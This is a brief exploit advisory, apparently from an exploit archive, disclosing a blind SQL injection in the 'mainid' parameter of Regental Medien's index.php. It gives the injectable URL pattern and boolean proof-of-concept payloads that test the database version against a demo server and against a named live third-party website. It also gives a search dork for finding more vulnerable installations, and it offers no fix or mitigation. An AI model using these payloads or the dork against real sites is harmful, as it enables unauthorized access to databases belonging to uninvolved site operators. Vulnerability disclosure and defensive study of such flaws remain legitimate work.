Regental Medien Blind SQL Injection Vuln

[o] Regental Medien Blind SQL Injection Vulnerability
Software : Regental Medien
Vendor   : http://www.regental-medien.de/
Author   : NoGe
Home     : http://antisecurity.org

[o] Vulnerable file
index.php

[o] Exploit
http://localhost/[path]/index.php?mainid=[SQL]

[o] Proof of Concept
http://demo15.rm-websystem.de/index.php?mainid=9+and+substring(@@version,1,1)=4 << TRUE
http://demo15.rm-websystem.de/index.php?mainid=9+and+substring(@@version,1,1)=5 << FALSE
http://www.innenstadterleben.de/index.php?mainid=30+and+substring(@@version,1,1)=4 << TRUE
http://www.innenstadterleben.de/index.php?mainid=30+and+substring(@@version,1,1)=5 << FALSE

[o] Dork
"powered by regental medien"

[o] Note
this is a private script
all target are in one IP address